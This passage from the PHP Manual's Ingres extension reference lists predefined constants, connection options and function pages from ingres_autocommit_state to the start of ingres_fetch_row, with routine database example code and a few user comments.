INGRES_BOTH (integer)
Columns are returned into the array having both a numerical index and the fieldname as the array index. Used with ingres_fetch_array().
INGRES_EXT_VERSION (string)
Specifies the version of the Ingres Extension. Available since version 1.2.0 of the PECL extension.
INGRES_API_VERSION (integer)
Specifies the version of Ingres OpenAPI that the extension was built against. Available since version 1.2.0 of the PECL extension.
INGRES_CURSOR_READONLY (integer)
Specifies that Ingres cursors should be opened in "readonly" mode. Available since version 1.2.0 of the PECL extension. Used with ingres.cursor_mode.
INGRES_CURSOR_UPDATE (integer)
Specifies that Ingres cursors should be opened "for update." Available since version 1.2.0 of the PECL extension. Used with ingres.cursor_mode.
INGRES_DATE_MULTINATIONAL (integer)
Equivalent to the II_DATE_FORMAT setting of MULTINATIONAL. Available since version 1.2.0 of the PECL extension. Used with ingres_connect(), ingres_pconnect() and ingres_set_environment(). See options in ingres_set_environment().
INGRES_DATE_MULTINATIONAL4 (integer)
Equivalent to the II_DATE_FORMAT setting of MULTINATIONAL4. Available since version 1.2.0 of the PECL extension.
Used with
ingres_connect(), ingres_pconnect()
and ingres_set_environment(). See options
in ingres_set_environment().
INGRES_DATE_FINNISH (integer)
Equivalent to the II_DATE_FORMAT setting of FINNISH. Available since version 1.2.0 of the PECL extension.
Used with
ingres_connect(), ingres_pconnect()
and ingres_set_environment(). See options
in ingres_set_environment().
INGRES_DATE_ISO (integer)
Equivalent to the II_DATE_FORMAT setting of ISO. Available since version 1.2.0 of the PECL extension.
Used with
ingres_connect(), ingres_pconnect()
and ingres_set_environment(). See options
in ingres_set_environment().
INGRES_DATE_ISO4 (integer)
Equivalent to the II_DATE_FORMAT setting of ISO4. Available since version 1.2.0 of the PECL extension.
Used with
ingres_connect(), ingres_pconnect()
and ingres_set_environment(). See options
in ingres_set_environment().
INGRES_DATE_GERMAN (integer)
Equivalent to the II_DATE_FORMAT setting of GERMAN. Available since version 1.2.0 of the PECL extension.
Used with
ingres_connect(), ingres_pconnect()
and ingres_set_environment(). See options
in ingres_set_environment().
INGRES_DATE_MDY (integer)
Equivalent to the II_DATE_FORMAT setting of MDY. Available since version 1.2.0 of the PECL extension.
Used with
ingres_connect(), ingres_pconnect()
and ingres_set_environment(). See options
in ingres_set_environment().
INGRES_DATE_DMY (integer)
Equivalent to the II_DATE_FORMAT setting of DMY. Available since version 1.2.0 of the PECL extension.
Used with
ingres_connect(), ingres_pconnect()
and ingres_set_environment(). See options
in ingres_set_environment().
INGRES_DATE_YMD (integer)
Equivalent to the II_DATE_FORMAT setting of YMD. Available since version 1.2.0 of the PECL extension.
Used with
ingres_connect(), ingres_pconnect()
and ingres_set_environment(). See options
in ingres_set_environment().
INGRES_MONEY_LEADING (integer)
Specifies the currency character that should be placed at the start of a money value. Equivalent to setting II_MONEY_FORMAT to "L:". Available since version 1.2.0 of the PECL extension. Used with ingres_connect(), ingres_pconnect() and ingres_set_environment(). See options in ingres_set_environment().
INGRES_MONEY_TRAILING (integer)
Specifies the currency character that should be placed at the end of a money value. Equivalent to setting II_MONEY_FORMAT to "T:". Available since version 1.2.0 of the PECL extension. Used with ingres_connect(), ingres_pconnect() and ingres_set_environment(). See options in ingres_set_environment().
INGRES_STRUCTURE_BTREE (integer)
Specifies the default table or index structure to BTREE when used in combination with the
options or index_structure option when connecting. Available since version 1.4.0 of the PECL extension.
Used with ingres_connect() and
ingres_pconnect(). See options
in ingres_connect().
INGRES_STRUCTURE_CBTREE (integer)
Specifies the default table or index structure to COMPRESSED BTREE when used in combination with the
options or index_structure option when connecting. Available since version 1.4.0 of the PECL extension.
Used with ingres_connect() and
ingres_pconnect(). See options
in ingres_connect().
INGRES_STRUCTURE_HASH (integer)
Specifies the default table or index structure to HASH when used in combination with the
options or index_structure option when connecting. Available since version 1.4.0 of the PECL extension.
Used with ingres_connect() and
ingres_pconnect(). See options
in ingres_connect().
INGRES_STRUCTURE_CHASH (integer)
Specifies the default table or index structure to COMPRESSED HASH when used in combination with the
options or index_structure option when connecting. Available since version 1.4.0 of the PECL extension.
Used with ingres_connect() and
ingres_pconnect(). See options
in ingres_connect().
INGRES_STRUCTURE_HEAP (integer)
Specifies the default table structure to HEAP when used in combination with the
options option when connecting. Available since version 1.4.0 of the PECL extension.
Used with ingres_connect() and
ingres_pconnect(). See options
in ingres_connect().
INGRES_STRUCTURE_CHEAP (integer)
Specifies the default table structure to COMPRESSED HEAP when used in combination with the
options option when connecting. Available since version 1.4.0 of the PECL extension.
Used with ingres_connect() and
ingres_pconnect(). See options
in ingres_connect().
INGRES_STRUCTURE_ISAM (integer)
Specifies the default table or index structure to ISAM when used in combination with the
options or index_structure option when connecting. Available since version 1.4.0 of the PECL extension.
Used with ingres_connect() and
ingres_pconnect(). See options
in ingres_connect().
INGRES_STRUCTURE_CISAM (integer)
Specifies the default table or index structure to COMPRESSED ISAM when used in combination with the
options or index_structure option when connecting. Available since version 1.4.0 of the PECL extension.
Used with ingres_connect() and
ingres_pconnect(). See options
in ingres_connect().

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Ingres


Examples

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic usage
Ingres


Basic usage

The following simple example shows how to connect to an Ingres database, execute a query, print resulting rows and disconnect from the database.

Example #1 Simple Ingres Example

<?php
// Connecting, selecting database
$link = ingres_connect("database", "user", "password")
    or die("Could not connect: " . ingres_error($link));
echo "Connected successfully";

// Select from a table that exists in all Ingres databases
$query = "SELECT * FROM iitables";
$result = ingres_query($link,$query) or die("Query failed: " .
ingres_error($link));

// Print results in HTML
// relid - table name
// relowner - table owner
echo "<table>\n";
while ($iitables = ingres_fetch_object($result)) {
    echo "\t<tr>\n";
    echo "\t\t<td>" . $iitables->relid . "</td>\n";
    echo "\t\t<td>" . $iitables->relowner . "</td>\n";
    echo "\t</tr>\n";
}
echo "</table>\n";

// Free results
ingres_free_result($result);

// Commit transaction
ingres_commit($link);

// Closing connection
ingres_close($link);
?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
Ingres Functions
Examples


Ingres Functions

Table of Contents

  • ingres_autocommit_state — Test if the connection is using autocommit
  • ingres_autocommit — Switch autocommit on or off
  • ingres_charset — Returns the installation character set
  • ingres_close — Close an Ingres database connection
  • ingres_commit — Commit a transaction
  • ingres_connect — Open a connection to an Ingres database
  • ingres_cursor — Get a cursor name for a given result resource
  • ingres_errno — Get the last Ingres error number generated
  • ingres_error — Get a meaningful error message for the last error generated
  • ingres_errsqlstate — Get the last SQLSTATE error code generated
  • ingres_escape_string — Escape special characters for use in a query
  • ingres_execute — Execute a prepared query
  • ingres_fetch_array — Fetch a row of result into an array
  • ingres_fetch_assoc — Fetch a row of result into an associative array
  • ingres_fetch_object — Fetch a row of result into an object
  • ingres_fetch_proc_return — Get the return value from a procedure call
  • ingres_fetch_row — Fetch a row of result into an enumerated array
  • ingres_field_length — Get the length of a field
  • ingres_field_name — Get the name of a field in a query result
  • ingres_field_nullable — Test if a field is nullable
  • ingres_field_precision — Get the precision of a field
  • ingres_field_scale — Get the scale of a field
  • ingres_field_type — Get the type of a field in a query result
  • ingres_free_result — Free the resources associated with a result identifier
  • ingres_next_error — Get the next Ingres error
  • ingres_num_fields — Get the number of fields returned by the last query
  • ingres_num_rows — Get the number of rows affected or returned by a query
  • ingres_pconnect — Open a persistent connection to an Ingres database
  • ingres_prepare — Prepare a query for later execution
  • ingres_query — Send an SQL query to Ingres
  • ingres_result_seek — Set the row position before fetching data
  • ingres_rollback — Roll back a transaction
  • ingres_set_environment — Set environment features controlling output options
  • ingres_unbuffered_query — Send an unbuffered SQL query to Ingres

User Contributed Notes

corysbrain-ondrugs at yahoo dot com 07-Jul-2007 09:04
My post below works but is *not* the correct way.  It only works because of default behavior.   I'll re-post my understanding of what is "correct" soon.
corysbrain-ondrugs at yahoo dot com 13-Feb-2007 06:57
On the three versions of Linux/Ingres I've worked on, I've always had to modify the following line in the example above:

while ($iirelation = ingres_fetch_object($link)) {

to:

while ($iirelation = ingres_fetch_object()) {

If not, PHP will return "Undefined property" notices.

However,  it's my understanding that the following is the proper way to access the database (it works as expected):

<?php
// Connecting, selecting database
$link = ingres_connect('database', 'user', 'password')
   or die('Could not connect: ' . ingres_error($link));
echo 'Connected successfully';

// Select from a table that exists in all Ingres databases
$query = 'SELECT * FROM iirelation';
$rs = ingres_query($link,$query) or die('Query failed: ' .
ingres_error($link));

// Print results in HTML
// relid - table name
// relowner - table owner
echo "<table>\n";
while ($iirelation = ingres_fetch_object($rs)) {
   echo "\t<tr>\n";
   echo "\t\t<td>" . $iirelation->relid . "</td>\n";
   echo "\t\t<td>" . $iirelation->relowner . "</td>\n";
   echo "\t</tr>\n";
}
echo "</table>\n";

// Commit transaction
ingres_commit($link);
// Closing connection
ingres_close($link);
?>
Basic usage
ingres_autocommit_state
Ingres


Test if the connection is using autocommit

Ingres Functions
ingres_autocommit
Ingres Functions
PHP Manual

ingres_autocommit_state

(PECL ingres >= 2.0.0)

ingres_autocommit_state — Test if the connection is using autocommit

Description

bool ingres_autocommit_state ( resource $link )

ingres_autocommit_state() is called to determine whether the current link has autocommit enabled or not.

Parameters

link

The connection link identifier

Return Values

Returns TRUE if autocommit is enabled or FALSE when autocommit is disabled

See Also

  • ingres_autocommit() - Switch autocommit on or off
  • ingres_query() - Send an SQL query to Ingres

User Contributed Notes

There are no user contributed notes for this page.
Ingres Functions
ingres_autocommit
Ingres Functions


Switch autocommit on or off

ingres_autocommit_state
ingres_charset
Ingres Functions
PHP Manual

ingres_autocommit

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_autocommit — Switch autocommit on or off

Description

bool ingres_autocommit ( resource $link )

ingres_autocommit() is called before opening a transaction (before the first call to ingres_query() or just after a call to ingres_rollback() or ingres_commit()) to switch the autocommit mode of the server on or off (when the script begins the autocommit mode is off).

When autocommit mode is on, every query is automatically committed by the server, as if ingres_commit() was called after every call to ingres_query(). To see if autocommit is enabled use, ingres_autocommit_state().

By default Ingres will rollback any uncommitted transactions at the end of a request. Use this function or ingres_commit() to ensure your data is committed to the database.

Parameters

link

The connection link identifier

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ingres_autocommit_state() - Test if the connection is using autocommit
  • ingres_query() - Send an SQL query to Ingres
  • ingres_rollback() - Roll back a transaction
  • ingres_commit() - Commit a transaction

User Contributed Notes

There are no user contributed notes for this page.
ingres_autocommit_state
ingres_charset
Ingres Functions


Returns the installation character set

ingres_autocommit
ingres_close
Ingres Functions
PHP Manual

ingres_charset

(PECL ingres >= 2.1.0)

ingres_charset — Returns the installation character set

Description

string ingres_charset ( resource $link )

ingres_charset() is called to determine the character set being used by the Ingres client, from II_CHARSETxx (where xx is the installation code).

Note:

You can override the value returned by using the function putenv(). Changing the value of II_CHARSETxx in a running Ingres installation can cause data corruption.

Parameters

link

The connection link identifier

Return Values

Returns a string with the value for II_CHARSETxx or returns NULL if the value could not be determined.

Examples

Example #1 ingres_charset() - Get the installation character set

<?php
$link = ingres_connect($database, $user, $password);

echo ingres_charset($link) . "\n";

ingres_close($link);
?>

See Also

  • ingres_connect() - Open a connection to an Ingres database
  • ingres_query() - Send an SQL query to Ingres

User Contributed Notes

There are no user contributed notes for this page.
ingres_autocommit
ingres_close
Ingres Functions


Close an Ingres database connection

ingres_charset
ingres_commit
Ingres Functions
PHP Manual

ingres_close

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_close — Close an Ingres database connection

Description

bool ingres_close ( resource $link )

ingres_close() closes the connection to the Ingres server that is associated with the specified link.

ingres_close() is usually unnecessary, as it will not close persistent connections and all non-persistent connections are automatically closed at the end of the script.

Parameters

link

The connection link identifier

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ingres_connect() - Open a connection to an Ingres database
  • ingres_pconnect() - Open a persistent connection to an Ingres database

User Contributed Notes

There are no user contributed notes for this page.
ingres_charset
ingres_commit
Ingres Functions


Commit a transaction

ingres_close
ingres_connect
Ingres Functions
PHP Manual

ingres_commit

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_commit — Commit a transaction

Description

bool ingres_commit ( resource $link )

ingres_commit() commits the currently open transaction, making all changes made to the database permanent.

This closes the transaction. A new transaction can be opened by sending a query with ingres_query().

You can also have the server commit automatically after every query by calling ingres_autocommit() before opening the transaction.

By default Ingres will roll back any uncommitted transactions at the end of a request. Use this function or ingres_autocommit() to ensure your that data is committed to the database.

Parameters

link

The connection link identifier

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_rollback() - Roll back a transaction
  • ingres_autocommit() - Switch autocommit on or off

User Contributed Notes

There are no user contributed notes for this page.
ingres_close
ingres_connect
Ingres Functions


Open a connection to an Ingres database

ingres_commit
ingres_cursor
Ingres Functions
PHP Manual

ingres_connect

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_connect — Open a connection to an Ingres database

Description

resource ingres_connect ([ string $database [, string $username [, string $password [, array $options ]]]] )

ingres_connect() opens a connection with the given Ingres database.

The connection is closed when the script ends or when ingres_close() is called on this link.

Parameters

If some parameters are missing, ingres_connect() uses the values in php.ini for ingres.default_database, ingres.default_user and ingres.default_password.

database

The database name. Must follow the syntax:

[vnode::]dbname[/svr_class]

username

The Ingres user name

password

The password associated with username

options

ingres_connect() options

Option name | Option type | Description | Example
date_century_boundary | integer | The threshold by which a 2-digit year is determined to be in the current century or in the next century. Equivalent to II_DATE_CENTURY_BOUNDARY. | 50
group | string | Specifies the group ID of the user, equivalent to the "-G" flag | payroll
role | string | The role ID of the application. If a role password is required, the parameter value should be specified as "role/password"
effective_user | string | The ingres user account being impersonated, equivalent to the "-u" flag | another_user
dbms_password | string | The internal database password for the user connecting to Ingres | s3cr3t
table_structure string

The default structure for new tables. Valid values for table_structure are:

  • INGRES_STRUCTURE_BTREE
  • INGRES_STRUCTURE_HASH
  • INGRES_STRUCTURE_HEAP
  • INGRES_STRUCTURE_ISAM
  • INGRES_STRUCTURE_CBTREE
  • INGRES_STRUCTURE_CISAM
  • INGRES_STRUCTURE_CHASH
  • INGRES_STRUCTURE_CHEAP

 INGRES_STRUCTURE_BTREE
index_structure string

The default structure for new secondary indexes. Valid values for index_structure are:

  • INGRES_STRUCTURE_CBTREE
  • INGRES_STRUCTURE_CISAM
  • INGRES_STRUCTURE_CHASH
  • INGRES_STRUCTURE_BTREE
  • INGRES_STRUCTURE_HASH
  • INGRES_STRUCTURE_ISAM

 INGRES_STRUCTURE_HASH
login_local | boolean | Determines how the connection user ID and password are used when a VNODE is included in the target database string. If set to TRUE, the user ID and password are used to locally access the VNODE, and the VNODE login information is used to establish the DBMS connection. If set to FALSE, the process user ID is used to access the VNODE, and the connection user ID and password are used in place of the VNODE login information to establish the DBMS connection. This parameter is ignored if no VNODE is included in the target database string. The default is FALSE. | TRUE
timezone | string | Controls the timezone of the session. If not set it will default to the value defined by II_TIMEZONE_NAME. If II_TIMEZONE_NAME is not defined, NA-PACIFIC (GMT-8 with Daylight Savings) is used.
date_format integer

Sets the allowable input and output format for Ingres dates. Defaults to the value defined by II_DATE_FORMAT. If II_DATE_FORMAT is not set the default date format is US, e.g. mm/dd/yy. Valid values for date_format are:

  • INGRES_DATE_DMY
  • INGRES_DATE_FINISH
  • INGRES_DATE_GERMAN
  • INGRES_DATE_ISO
  • INGRES_DATE_ISO4
  • INGRES_DATE_MDY
  • INGRES_DATE_MULTINATIONAL
  • INGRES_DATE_MULTINATIONAL4
  • INGRES_DATE_YMD
  • INGRES_DATE_US

 INGRES_DATE_MULTINATIONAL4
decimal_separator string The character identifier for decimal data ","
money_lort integer

Leading or trailing currency sign. Valid values for money_lort are:

  • INGRES_MONEY_LEADING
  • INGRES_MONEY_TRAILING

 INGRES_MONEY_TRAILING
money_sign string The currency symbol to be used with the MONEY datatype €
money_precision | integer | The precision of the MONEY datatype | 3
float4_precision | integer | Precision of the FLOAT4 datatype | 10
float8_precision | integer | Precision of the FLOAT8 data | 10
blob_segment_length | integer | The amount of data in bytes to fetch at a time when retrieving BLOB or CLOB data, defaults to 4096 bytes when not explicitly set | 8192

Return Values

Returns a Ingres link resource on success or FALSE on failure

Examples

Example #1 Open a connection to an Ingres database

<?php
$link = ingres_connect("mydb", "user", "pass")
    or die("Could not connect");
echo "Connected successfully";
ingres_close($link);
?>

See Also

  • ingres_pconnect() - Open a persistent connection to an Ingres database
  • ingres_close() - Close an Ingres database connection

User Contributed Notes

tdjunk at openxtrem dot com 26-Jun-2007 05:09
You need to connect with the user running your web server, be it apache, nobody, or system (on MS Windows). Hence you have to create a matching (username) Ingres user.

Otherwise you may experience an Ingres Error :

 790536 : Unable to authenticate client's user ID.

See more information on the community forum : http://community.ingres.com/forum/dba-forum/463-installation-problem-ingres-ice.html
ingres_commit
ingres_cursor
Ingres Functions


Get a cursor name for a given result resource

ingres_connect
ingres_errno
Ingres Functions
PHP Manual

ingres_cursor

(PECL ingres >= 1.1.0)

ingres_cursor — Get a cursor name for a given result resource

Description

string ingres_cursor ( resource $result )

Returns a string with the active cursor name. If no cursor is active then NULL is returned.

Parameters

result

The query result identifier

Return Values

Returns a string containing the active cursor name. If no cursor is active then NULL is returned.

Examples

Example #1 Get cursor name for a query resource

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_prepare($link, "select * from table");

$cursor_name = ingres_cursor($result);

echo $cursor_name;

?>

See Also

  • ingres_prepare() - Prepare a query for later execution
  • ingres_execute() - Execute a prepared query

User Contributed Notes

There are no user contributed notes for this page.
ingres_connect
ingres_errno
Ingres Functions


Get the last Ingres error number generated

ingres_cursor
ingres_error
Ingres Functions
PHP Manual

ingres_errno

(PECL ingres >= 1.1.0)

ingres_errno — Get the last Ingres error number generated

Description

int ingres_errno ([ resource $link ] )

Returns an integer containing the last error number. If no error was reported 0 is returned.

If a link resource is passed to ingres_errno() it returns the last error recorded for the link. If no link is passed, then ingres_errno() returns the last error reported using the default link.

The function, ingres_errno(), should always be called after executing a database query. Calling another function before ingres_errno() is called will reset or change any error code from the last Ingres function call.

Parameters

link

The connection link identifier

Return Values

Returns an integer containing the last error number. If no error was reported, 0 is returned.

Examples

Example #1 Get the last Ingres error number generated

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link, "select * from table");

$error_code = ingres_errno($link);

if ( $error_code != 0 ) {
   echo "An error occured - " . $error_code;
}
?>

See Also

  • ingres_error() - Get a meaningful error message for the last error generated
  • ingres_errsqlstate() - Get the last SQLSTATE error code generated
  • ingres_next_error() - Get the next Ingres error

User Contributed Notes

There are no user contributed notes for this page.
ingres_cursor
ingres_error
Ingres Functions


Get a meaningful error message for the last error generated

ingres_errno
ingres_errsqlstate
Ingres Functions
PHP Manual

ingres_error

(PECL ingres >= 1.1.0)

ingres_error — Get a meaningful error message for the last error generated

Description

string ingres_error ([ resource $link ] )

Returns a string containing the last error, or NULL if no error has occurred.

If a link resource is passed to ingres_error(), it returns the last error recorded for the link. If no link is passed then ingres_error() returns the last error reported using the default link.

The function, ingres_error(), should always be called after executing any database query. Calling another function before ingres_error() is called will reset or change any error message from the last Ingres function call.

Parameters

link

The connection link identifier

Return Values

Returns a string containing the last error, or NULL if no error has occurred.

Examples

Example #1 Get a message for the last error generated

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link, "select * from table");

$error_text = ingres_error();

if (!is_null($error_text)) {
   echo "An error occured - " . $error_text;
}
?>

See Also

  • ingres_errno() - Get the last Ingres error number generated
  • ingres_errsqlstate() - Get the last SQLSTATE error code generated
  • ingres_next_error() - Get the next Ingres error

User Contributed Notes

There are no user contributed notes for this page.
ingres_errno
ingres_errsqlstate
Ingres Functions


Get the last SQLSTATE error code generated

ingres_error
ingres_escape_string
Ingres Functions
PHP Manual

ingres_errsqlstate

(PECL ingres >= 1.1.0)

ingres_errsqlstate — Get the last SQLSTATE error code generated

Description

string ingres_errsqlstate ([ resource $link ] )

Returns a string containing the last SQLSTATE, or NULL if no error has occurred.

If a link resource is passed to ingres_errsqlstate(), it returns the last error recorded for the link. If no link is passed, then ingres_errsqlstate() returns the last error reported using the default link.

The function, ingres_errsqlstate(), should always be called after executing any database query. Calling another function before ingres_errsqlstate() is called will reset or change any error message from the last Ingres function call.

Parameters

link

The connection link identifier

Return Values

Returns a string containing the last SQLSTATE, or NULL if no error has occurred.

Examples

Example #1 Get the last SQLSTATE error code generated

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link, "select * from table");

$error_sqlstate = ingres_errsqlstate($link);

if (!is_null($error_sqlstate)) {
   echo "An error occured - " . $error_sqlstate;
}
?>

See Also

  • ingres_errno() - Get the last Ingres error number generated
  • ingres_error() - Get a meaningful error message for the last error generated
  • ingres_next_error() - Get the next Ingres error

User Contributed Notes

There are no user contributed notes for this page.
ingres_error
ingres_escape_string
Ingres Functions


Escape special characters for use in a query

ingres_errsqlstate
ingres_execute
Ingres Functions
PHP Manual

ingres_escape_string

(PECL ingres >= 2.1.0)

ingres_escape_string — Escape special characters for use in a query

Description

string ingres_escape_string ( resource $link , string $source_string )

ingres_escape_string() is used to escape certain characters within a string before it is sent to the database server.

Parameters

link

The connection link identifier

source_string

The source string to be parsed

Return Values

Returns a string containing the escaped data.

Examples

Example #1 Escape special characters for use in a query

<?php
$link = ingres_connect($database, $user, $password);

$last_name = "O'Connor";

$sql = sprintf("select * from user_profile where up_last = '%s'", ingres_escape_string( $link, $last_name));

$result = ingres_query($link, $sql);

while ($user = ingres_fetch_object($result))
{
  echo $user->up_first . '<BR/>';
}

ingres_commit($link);

ingres_close($link);

?>

See Also

  • ingres_query() - Send an SQL query to Ingres

User Contributed Notes

There are no user contributed notes for this page.
ingres_errsqlstate
ingres_execute
Ingres Functions


Execute a prepared query

ingres_escape_string
ingres_fetch_array
Ingres Functions
PHP Manual

ingres_execute

(PECL ingres >= 1.1.0)

ingres_execute — Execute a prepared query

Description

bool ingres_execute ( resource $result [, array $params [, string $types ]] )

Execute a query prepared using ingres_prepare().

Note: Related Configurations

See also the ingres.describe, ingres.scrollable and ingres.utf8 directives in Runtime Configuration.

Parameters

result

The result query identifier

params

An array of parameter values to be used with the query

types

A string containing a sequence of types for the parameter values passed. See the types parameter in ingres_query() for the list of type codes.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ingres_unbuffered_query() - Send an unbuffered SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array
  • ingres_commit() - Commit a transaction
  • ingres_rollback() - Roll back a transaction
  • ingres_autocommit() - Switch autocommit on or off
  • ingres_set_environment() - Set environment features controlling output options
  • ingres_errno() - Get the last Ingres error number generated
  • ingres_error() - Get a meaningful error message for the last error generated

User Contributed Notes

There are no user contributed notes for this page.
ingres_escape_string
ingres_fetch_array
Ingres Functions


Fetch a row of result into an array

ingres_execute
ingres_fetch_assoc
Ingres Functions
PHP Manual

ingres_fetch_array

( PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_fetch_array — Fetch a row of result into an array

Description

array ingres_fetch_array ( resource $result [, int $result_type ] )

This function is an extended version of ingres_fetch_row(). In addition to storing the data in the numeric indices of the result array, it also stores the data in associative indices, using the field names as keys.

If two or more columns of the result have the same field names, the last column will take precedence. To access the another column or columns of the same name, you must use the numeric index of the column or make an alias for the column. For example:

<?php

$result = ingres_query($link, "select ap_place as city, ap_ccode as country from airport where ap_iatacode = 'VLL'");
$result = ingres_fetch_array($result);
$foo = $result["city"];
$bar = $result["country"];

?>

With regard to speed, the function is identical to ingres_fetch_object(), and almost as quick as ingres_fetch_row() (the difference is insignificant).

By default, arrays created by ingres_fetch_array() start from position 1 and not 0 as with other DBMS extensions. The starting position can be adjusted to 0 using the configuration parameter ingres.array_index_start.

Note: Related Configurations

See also the ingres.array_index_start, ingres.fetch_buffer_size and ingres.utf8 directives in Runtime Configuration.

Parameters

result

The query result identifier

result_type

The result type. This result_type can be INGRES_NUM for enumerated array, INGRES_ASSOC for associative array, or INGRES_BOTH (default).

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows

Examples

Example #1 Fetch a row of result into an array

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link,"select * from table");
while ($row = ingres_fetch_array($result)) {
    echo $row["user_id"];  // using associative array
    echo $row["fullname"];
    echo $row[1];          // using enumerated array
    echo $row[2];
}
?>

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_num_fields() - Get the number of fields returned by the last query
  • ingres_field_name() - Get the name of a field in a query result
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.
ingres_execute
ingres_fetch_assoc
Ingres Functions


Fetch a row of result into an associative array

ingres_fetch_array
ingres_fetch_object
Ingres Functions
PHP Manual

ingres_fetch_assoc

(PECL ingres >= 2.2.2)

ingres_fetch_assoc — Fetch a row of result into an associative array

Description

array ingres_fetch_assoc ( resource $result )

This function is stores the data fetched from a query executed using ingres_query() in an associative array, using the field names as keys.

With regard to speed, the function is identical to ingres_fetch_object(), and almost as quick as ingres_fetch_row() (the difference is insignificant).

By default, arrays created by ingres_fetch_assoc() start from position 1 and not 0 as with other DBMS extensions. The starting position can be adjusted to 0 using the configuration parameter ingres.array_index_start.

Note: Related Configurations

See also the ingres.array_index_start, ingres.fetch_buffer_size and ingres.utf8 directives in Runtime Configuration.

Parameters

result

The query result identifier

Return Values

Returns an associative array that corresponds to the fetched row, or FALSE if there are no more rows

Examples

Example #1 Fetch a row into an associative array

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link,"select * from table");
while ($row = ingres_fetch_assoc($result)) {
    echo $row["user_id"];  // using associative array
    echo $row["fullname"];
}
?>

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_num_fields() - Get the number of fields returned by the last query
  • ingres_field_name() - Get the name of a field in a query result
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.
ingres_fetch_array
ingres_fetch_object
Ingres Functions


Fetch a row of result into an object

ingres_fetch_assoc
ingres_fetch_proc_return
Ingres Functions
PHP Manual

ingres_fetch_object

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_fetch_object — Fetch a row of result into an object

Description

object ingres_fetch_object ( resource $result [, int $result_type ] )

This function is similar to ingres_fetch_array(), with one difference - an object is returned instead of an array. Indirectly, this means that you can access the data only by the field names and not by their offsets (numbers are illegal property names).

With regard to speed, the function is identical to ingres_fetch_array(), and almost as quick as ingres_fetch_row() (the difference is insignificant).

Note: Related Configurations

See also the ingres.fetch_buffer_size and ingres.utf8 directives in Runtime Configuration.

Parameters

link

The query result identifier

result_type

(Optional argument.) result_type is a constant and can take the following values: INGRES_ASSOC, INGRES_NUM, and INGRES_BOTH.

Return Values

Returns an object that corresponds to the fetched row, or FALSE if there are no more rows

Examples

Example #1 Fetch a row into an object

<?php
$link = ingres_connect($database, $user, $password);
$result = ingres_query($link, "select * from table");
while ($row = ingres_fetch_object($result)) {
    echo $row->user_id;
    echo $row->fullname;
}
?>

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_num_fields() - Get the number of fields returned by the last query
  • ingres_field_name() - Get the name of a field in a query result
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.
ingres_fetch_assoc
ingres_fetch_proc_return
Ingres Functions


Get the return value from a procedure call

ingres_fetch_object
ingres_fetch_row
Ingres Functions
PHP Manual

ingres_fetch_proc_return

(PECL ingres >= 1.4.0)

ingres_fetch_proc_return — Get the return value from a procedure call

Description

int ingres_fetch_proc_return ( resource $result )

This function is used to retrieve the return value following the execution of an Ingres database procedure (stored procedure).

Note:

If used with a row-producing procedure, this function should be called after all the rows from the procedure have been fetched using ingres_fetch_array(), ingres_fetch_object() or ingres_fetch_row(). This function will eliminate any rows yet to be fetched should there be any left over.

Parameters

result

The result identifier for a query

Return Values

Returns an integer if there is a return value otherwise it will return NULL.

Examples

Example #1 Get the return value from a procedure call

<?php

$link = ingres_connect($database);

if ( ingres_errno() != 0 ) {
    $error_text = ingres_error();
    die($error_text);
}

$result = ingres_query($link, "execute procedure php_proc (value = 1000)");

if ( ingres_errno() != 0 ) {
    $error_text = ingres_error();
    die($error_text);
}

echo "return value - " . ingres_fetch_proc_return($result) . "\n";

ingres_close($link);

?>

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.
ingres_fetch_object
ingres_fetch_row
Ingres Functions


Fetch a row of result into an enumerated array

ingres_fetch_proc_return
ingres_field_length
Ingres Functions
PHP Manual

ingres_fetch_row

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_fetch_row — Fetch a row of result into an enumerated array

Description

array ingres_fetch_row ( resource $result )

ingres_fetch_row() returns an array that corresponds to the fetched row, or FALSE if there are no more rows. Each result column is stored in an array offset, starting at offset 1.

